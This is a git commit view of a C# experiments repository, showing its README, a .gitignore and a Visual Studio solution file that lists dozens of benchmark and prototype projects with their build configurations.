feat: initial commit

This commit is contained in:
Oliver Booth 2024-05-04 21:15:05 +01:00
commit 6d5a78c9c6
Signed by: oliverbooth
GPG Key ID: E60B570D1B7557B5
167 changed files with 5773 additions and 0 deletions

7
README.md Normal file
View File

@ -0,0 +1,7 @@
# Experiments
This repository contains various experiments and prototypes that I've developed over time. These generally entail nothing more than a ton of benchmarks, and a few various tests of language and framework features, and for the most part are not really usable in any way.
Alas, I've made this repository open source and added any and all "fuck around and find out" projects I've written over the years. Maybe it'll help people learn something new.
All the experiments have been rewritten for .NET 8 with C# 12 language features, so they should compile and run on the latest version of Roslyn. Have fun!

37
csharp/.gitignore vendored Normal file
View File

@ -0,0 +1,37 @@
*.swp
*.*~
project.lock.json
.DS_Store
*.pyc
nupkg/
# Visual Studio Code
.vscode
# Rider
.idea
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
build/
bld/
[Bb]in/
[Oo]bj/
[Oo]ut/
msbuild.log
msbuild.err
msbuild.wrn
# Visual Studio 2015
.vs/

View File

@ -0,0 +1,442 @@

Microsoft Visual Studio Solution File, Format Version 12.00
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E061-LoopVsWhereBenchmarks", "E061-LoopVsWhereBenchmarks\E061-LoopVsWhereBenchmarks.csproj", "{22AEFFC8-2907-4836-9E32-225AA4CE1E98}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E025-FirstOrDefaultStruct", "E025-FirstOrDefaultStruct\E025-FirstOrDefaultStruct.csproj", "{43814C2B-541F-40EA-8EB9-7C594AADB43A}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E033-EncryptionLocal", "E033-EncryptionLocal\E033-EncryptionLocal.csproj", "{AC944BBF-6BBF-48BB-9353-3D83127D0AA2}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E066-ArrayVsListBenchmarks", "E066-ArrayVsListBenchmarks\E066-ArrayVsListBenchmarks.csproj", "{53F8D539-5076-4E4A-9455-A7B97C4854C4}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E031-ArrayVsEnumerable", "E031-ArrayVsEnumerable\E031-ArrayVsEnumerable.csproj", "{3D4F0B68-B569-4753-B0C7-D7B30973A358}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E055-ArrayVsSpanBenchmarks", "E055-ArrayVsSpanBenchmarks\E055-ArrayVsSpanBenchmarks.csproj", "{5B080504-C0BB-476E-8A0C-2E3AA3A9466B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E030-AsyncVoid", "E030-AsyncVoid\E030-AsyncVoid.csproj", "{EA52F387-8BB9-4FF8-A736-6DF125B3CF58}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E001-BigOLoopBenchmarks", "E001-BigOLoopBenchmarks\E001-BigOLoopBenchmarks.csproj", "{102E8F58-523E-491C-8984-5A22A614CCFE}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E002-DiscordUriParser", "E002-DiscordUriParser\E002-DiscordUriParser.csproj", "{595AB54B-38CC-4E35-887D-61E46E13C398}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E003-CharBenchmarks", "E003-CharBenchmarks\E003-CharBenchmarks.csproj", "{949554A1-B8CD-4D8E-93BF-EEEA4E832997}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E004-SwapBenchmarks", "E004-SwapBenchmarks\E004-SwapBenchmarks.csproj", "{22122BD2-E499-46A7-88B0-5B460998551B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E005-RegexCompiledBenchmarks", "E005-RegexCompiledBenchmarks\E005-RegexCompiledBenchmarks.csproj", "{E43955C3-05B3-4D32-A7E3-F0D0D05FB436}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E006-ConcatBenchmarks", "E006-ConcatBenchmarks\E006-ConcatBenchmarks.csproj", "{ED01E38C-83FD-487D-BE4E-94F39CFCF356}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E007-ConcatVsStringBuilderBenchmarks", "E007-ConcatVsStringBuilderBenchmarks\E007-ConcatVsStringBuilderBenchmarks.csproj", "{FF23B75C-4AD7-40E1-A72A-715CFED4FC10}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E008-X10D_ToGetParametersBenchmarks", "E008-X10D_ToGetParametersBenchmarks\E008-X10D_ToGetParametersBenchmarks.csproj", "{F2452AF6-A992-41D4-8C21-EC737A80DB7E}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E009-TimeSpanParser", "E009-TimeSpanParser\E009-TimeSpanParser.csproj", "{DF605BC9-CD3A-4DC0-84D4-F87379B295F6}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E010-ThreadTest", "E010-ThreadTest\E010-ThreadTest.csproj", "{55A8F85F-A740-4710-98F4-DA6E13818176}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E011-SpacedIntBenchmarks", "E011-SpacedIntBenchmarks\E011-SpacedIntBenchmarks.csproj", "{1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E012-SourceGeneratorDummy", "E012-SourceGeneratorDummy\E012-SourceGeneratorDummy.csproj", "{DCFA6E58-68BA-4745-9574-F58DDCFEB20D}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E013-ServerClient", "E013-ServerClient\E013-ServerClient.csproj", "{C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E014-RemoveAllBenchmarks", "E014-RemoveAllBenchmarks\E014-RemoveAllBenchmarks.csproj", "{F2371518-6DA1-40B8-9C97-53322C57ABF0}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E015-RegexVsCustomAttributeParser", "E015-RegexVsCustomAttributeParser\E015-RegexVsCustomAttributeParser.csproj", "{036B030C-5CB7-49C7-9F14-A986BF6A0CEF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E016-ProtoBufExtendedModel", "E016-ProtoBufExtendedModel\E016-ProtoBufExtendedModel.csproj", "{8707E46F-1246-41E6-8728-C78B8D161994}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E017-PowVsManualSquareBenchmarks", "E017-PowVsManualSquareBenchmarks\E017-PowVsManualSquareBenchmarks.csproj", "{2882913B-7382-4F6D-82BA-CDDFF5095449}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E018-OneLineMultiAssignment", "E018-OneLineMultiAssignment\E018-OneLineMultiAssignment.csproj", "{834A33D0-C8AA-435A-A631-5ECC33097E17}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E019-NullStringTest", "E019-NullStringTest\E019-NullStringTest.csproj", "{EB83B114-CC77-43AC-8633-A8E668B1A049}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E020-NestedStructPointer", "E020-NestedStructPointer\E020-NestedStructPointer.csproj", "{C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E021-Nearest5MinuteDateTime", "E021-Nearest5MinuteDateTime\E021-Nearest5MinuteDateTime.csproj", "{4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E022-ModifyReadonly", "E022-ModifyReadonly\E022-ModifyReadonly.csproj", "{0166ACDD-5963-4399-84C1-384D852D2728}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E023-MathEstimateBenchmarks", "E023-MathEstimateBenchmarks\E023-MathEstimateBenchmarks.csproj", "{6882C767-63CB-4387-AD13-0C59471CA759}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E024-Foreach", "E024-Foreach\E024-Foreach.csproj", "{FD9C7858-BA0F-43A5-A981-79716BD8F331}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E026-DictionaryBenchmarks", "E026-DictionaryBenchmarks\E026-DictionaryBenchmarks.csproj", "{0D5A2249-5336-451F-AC79-7CBAE41D46E0}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E027-ConfigurationBenchmarks", "E027-ConfigurationBenchmarks\E027-ConfigurationBenchmarks.csproj", "{2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E028-ClassMemoryAddress", "E028-ClassMemoryAddress\E028-ClassMemoryAddress.csproj", "{DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E029-CircularBitShift", "E029-CircularBitShift\E029-CircularBitShift.csproj", "{24763AC2-85DD-4473-9C89-D6BF0E8267FB}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E032-BinaryFormatterExploit", "E032-BinaryFormatterExploit\E032-BinaryFormatterExploit.csproj", "{FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E034-EncryptionNetwork", "E034-EncryptionNetwork\E034-EncryptionNetwork.csproj", "{472698F1-9E41-47AF-8805-E358FE2B63FB}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E035-Expressions", "E035-Expressions\E035-Expressions.csproj", "{957B8279-B735-454C-B381-28C647E006BB}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E036-NegateVsTimesMinus1Benchmarks", "E036-NegateVsTimesMinus1Benchmarks\E036-NegateVsTimesMinus1Benchmarks.csproj", "{55920614-9DFA-4052-9930-DEBB7BFC8414}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E037-FractionReduce", "E037-FractionReduce\E037-FractionReduce.csproj", "{C434A646-C742-4EC5-9FFF-ACFADEF32B81}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E038-RecursionBenchmarks", "E038-RecursionBenchmarks\E038-RecursionBenchmarks.csproj", "{36D8561F-F0EB-4262-8CE8-FB88BE373EB4}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E039-UdpTest", "E039-UdpTest\E039-UdpTest.csproj", "{7A6C21D3-FDD8-4F73-A94C-608545169F66}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E040-CleverUsing", "E040-CleverUsing\E040-CleverUsing.csproj", "{DBE4E62D-7588-45F7-9B46-F94028F0E811}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E041-InheritanceTest", "E041-InheritanceTest\E041-InheritanceTest.csproj", "{3D2CA600-8540-47A2-B488-2624D54390A8}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E042-LinqBenchmarks", "E042-LinqBenchmarks\E042-LinqBenchmarks.csproj", "{EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E043-AllNumericExceptBenchmarks", "E043-AllNumericExceptBenchmarks\E043-AllNumericExceptBenchmarks.csproj", "{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E044-FiveFiveLetter", "E044-FiveFiveLetter\E044-FiveFiveLetter.csproj", "{1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E045-VerbosePunctuation", "E045-VerbosePunctuation\E045-VerbosePunctuation.csproj", "{18D01F93-0B92-40DC-8629-4C03759FC59E}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E046-DigitalRootBenchmarks", "E046-DigitalRootBenchmarks\E046-DigitalRootBenchmarks.csproj", "{F635EBDF-9BD4-4785-87AD-2DD768C363C9}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E047-DigitalRoot", "E047-DigitalRoot\E047-DigitalRoot.csproj", "{4DB29CDF-C9A1-430C-A789-1B0E65023590}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E048-ColorClamping", "E048-ColorClamping\E048-ColorClamping.csproj", "{03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E049-CoordinateBenchmarks", "E049-CoordinateBenchmarks\E049-CoordinateBenchmarks.csproj", "{9FC59E07-F50D-4285-BE5C-4A0156089AE1}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E050-CEF", "E050-CEF\E050-CEF.csproj", "{CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E051-LazyLinqTest", "E051-LazyLinqTest\E051-LazyLinqTest.csproj", "{D909599F-3A2A-4423-BAE0-A4B40A5F09C4}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E052-LineCountBenchmarks", "E052-LineCountBenchmarks\E052-LineCountBenchmarks.csproj", "{F30BDA1F-3203-4191-944A-070DCF4905B2}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E053-InverseSqrtBenchmarks", "E053-InverseSqrtBenchmarks\E053-InverseSqrtBenchmarks.csproj", "{0A37A89E-66A6-4BF8-8F11-D388E8406F2B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E054-DivisionBenchmarks", "E054-DivisionBenchmarks\E054-DivisionBenchmarks.csproj", "{0DACAADE-F388-4C03-AAAA-990917FA6BD7}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E056-UnsafeKata", "E056-UnsafeKata\E056-UnsafeKata.csproj", "{B84420CC-FBFB-41FC-B1B3-F3F0637382FD}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E057-TypeRoulette", "E057-TypeRoulette\E057-TypeRoulette.csproj", "{611F553F-AE76-4DE4-BEAF-FB07E1D42145}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E058-ToArrayVsAsReadOnlyBenchmarks", "E058-ToArrayVsAsReadOnlyBenchmarks\E058-ToArrayVsAsReadOnlyBenchmarks.csproj", "{D3956C0F-BE5A-4276-8F85-C0F8F8250931}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E059-RandomTypes", "E059-RandomTypes\E059-RandomTypes.csproj", "{E0DFB8D1-5F56-46B9-B519-A270F84D666E}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E060-PointerFuckery", "E060-PointerFuckery\E060-PointerFuckery.csproj", "{B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E062-LoopVsCountBenchmarks", "E062-LoopVsCountBenchmarks\E062-LoopVsCountBenchmarks.csproj", "{CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E063-LinqVsNoLinqBenchmarks", "E063-LinqVsNoLinqBenchmarks\E063-LinqVsNoLinqBenchmarks.csproj", "{B38B1DF3-599B-44F1-BC5D-8C23756EBD85}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E064-DynamicVsReflectionBenchmarks", "E064-DynamicVsReflectionBenchmarks\E064-DynamicVsReflectionBenchmarks.csproj", "{221CAE99-5A4D-41A7-8C9D-936F11760B15}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E065-DiacriticBenchmarks", "E065-DiacriticBenchmarks\E065-DiacriticBenchmarks.csproj", "{9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E067-FacebookMathProblem", "E067-FacebookMathProblem\E067-FacebookMathProblem.csproj", "{E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E068-SseBenchmarks", "E068-SseBenchmarks\E068-SseBenchmarks.csproj", "{153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E069-IntegerToDecimalBenchmarks", "E069-IntegerToDecimalBenchmarks\E069-IntegerToDecimalBenchmarks.csproj", "{0587EEAC-ACAE-4622-89C9-AC324FAC430A}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E070-TimeSpanConversionBenchmarks", "E070-TimeSpanConversionBenchmarks\E070-TimeSpanConversionBenchmarks.csproj", "{F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E071-Thev2AndySerializer", "E071-Thev2AndySerializer\E071-Thev2AndySerializer.csproj", "{6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E072-StringBenchmarks", "E072-StringBenchmarks\E072-StringBenchmarks.csproj", "{3AC20C3A-0FB3-41C3-81A6-C4610050576A}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Debug|Any CPU.Build.0 = Debug|Any CPU
{22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Release|Any CPU.ActiveCfg = Release|Any CPU
{22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Release|Any CPU.Build.0 = Release|Any CPU
{43814C2B-541F-40EA-8EB9-7C594AADB43A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{43814C2B-541F-40EA-8EB9-7C594AADB43A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{43814C2B-541F-40EA-8EB9-7C594AADB43A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{43814C2B-541F-40EA-8EB9-7C594AADB43A}.Release|Any CPU.Build.0 = Release|Any CPU
{AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Release|Any CPU.Build.0 = Release|Any CPU
{53F8D539-5076-4E4A-9455-A7B97C4854C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{53F8D539-5076-4E4A-9455-A7B97C4854C4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{53F8D539-5076-4E4A-9455-A7B97C4854C4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{53F8D539-5076-4E4A-9455-A7B97C4854C4}.Release|Any CPU.Build.0 = Release|Any CPU
{3D4F0B68-B569-4753-B0C7-D7B30973A358}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3D4F0B68-B569-4753-B0C7-D7B30973A358}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3D4F0B68-B569-4753-B0C7-D7B30973A358}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3D4F0B68-B569-4753-B0C7-D7B30973A358}.Release|Any CPU.Build.0 = Release|Any CPU
{5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Release|Any CPU.Build.0 = Release|Any CPU
{EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Release|Any CPU.Build.0 = Release|Any CPU
{102E8F58-523E-491C-8984-5A22A614CCFE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{102E8F58-523E-491C-8984-5A22A614CCFE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{102E8F58-523E-491C-8984-5A22A614CCFE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{102E8F58-523E-491C-8984-5A22A614CCFE}.Release|Any CPU.Build.0 = Release|Any CPU
{595AB54B-38CC-4E35-887D-61E46E13C398}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{595AB54B-38CC-4E35-887D-61E46E13C398}.Debug|Any CPU.Build.0 = Debug|Any CPU
{595AB54B-38CC-4E35-887D-61E46E13C398}.Release|Any CPU.ActiveCfg = Release|Any CPU
{595AB54B-38CC-4E35-887D-61E46E13C398}.Release|Any CPU.Build.0 = Release|Any CPU
{949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Debug|Any CPU.Build.0 = Debug|Any CPU
{949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Release|Any CPU.ActiveCfg = Release|Any CPU
{949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Release|Any CPU.Build.0 = Release|Any CPU
{22122BD2-E499-46A7-88B0-5B460998551B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{22122BD2-E499-46A7-88B0-5B460998551B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{22122BD2-E499-46A7-88B0-5B460998551B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{22122BD2-E499-46A7-88B0-5B460998551B}.Release|Any CPU.Build.0 = Release|Any CPU
{E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Release|Any CPU.Build.0 = Release|Any CPU
{ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Debug|Any CPU.Build.0 = Debug|Any CPU
{ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Release|Any CPU.ActiveCfg = Release|Any CPU
{ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Release|Any CPU.Build.0 = Release|Any CPU
{FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Release|Any CPU.Build.0 = Release|Any CPU
{F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Release|Any CPU.Build.0 = Release|Any CPU
{DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Release|Any CPU.Build.0 = Release|Any CPU
{55A8F85F-A740-4710-98F4-DA6E13818176}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{55A8F85F-A740-4710-98F4-DA6E13818176}.Debug|Any CPU.Build.0 = Debug|Any CPU
{55A8F85F-A740-4710-98F4-DA6E13818176}.Release|Any CPU.ActiveCfg = Release|Any CPU
{55A8F85F-A740-4710-98F4-DA6E13818176}.Release|Any CPU.Build.0 = Release|Any CPU
{1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Release|Any CPU.Build.0 = Release|Any CPU
{DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Release|Any CPU.Build.0 = Release|Any CPU
{C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Release|Any CPU.Build.0 = Release|Any CPU
{F2371518-6DA1-40B8-9C97-53322C57ABF0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F2371518-6DA1-40B8-9C97-53322C57ABF0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F2371518-6DA1-40B8-9C97-53322C57ABF0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F2371518-6DA1-40B8-9C97-53322C57ABF0}.Release|Any CPU.Build.0 = Release|Any CPU
{036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Release|Any CPU.Build.0 = Release|Any CPU
{8707E46F-1246-41E6-8728-C78B8D161994}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8707E46F-1246-41E6-8728-C78B8D161994}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8707E46F-1246-41E6-8728-C78B8D161994}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8707E46F-1246-41E6-8728-C78B8D161994}.Release|Any CPU.Build.0 = Release|Any CPU
{2882913B-7382-4F6D-82BA-CDDFF5095449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2882913B-7382-4F6D-82BA-CDDFF5095449}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2882913B-7382-4F6D-82BA-CDDFF5095449}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2882913B-7382-4F6D-82BA-CDDFF5095449}.Release|Any CPU.Build.0 = Release|Any CPU
{834A33D0-C8AA-435A-A631-5ECC33097E17}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{834A33D0-C8AA-435A-A631-5ECC33097E17}.Debug|Any CPU.Build.0 = Debug|Any CPU
{834A33D0-C8AA-435A-A631-5ECC33097E17}.Release|Any CPU.ActiveCfg = Release|Any CPU
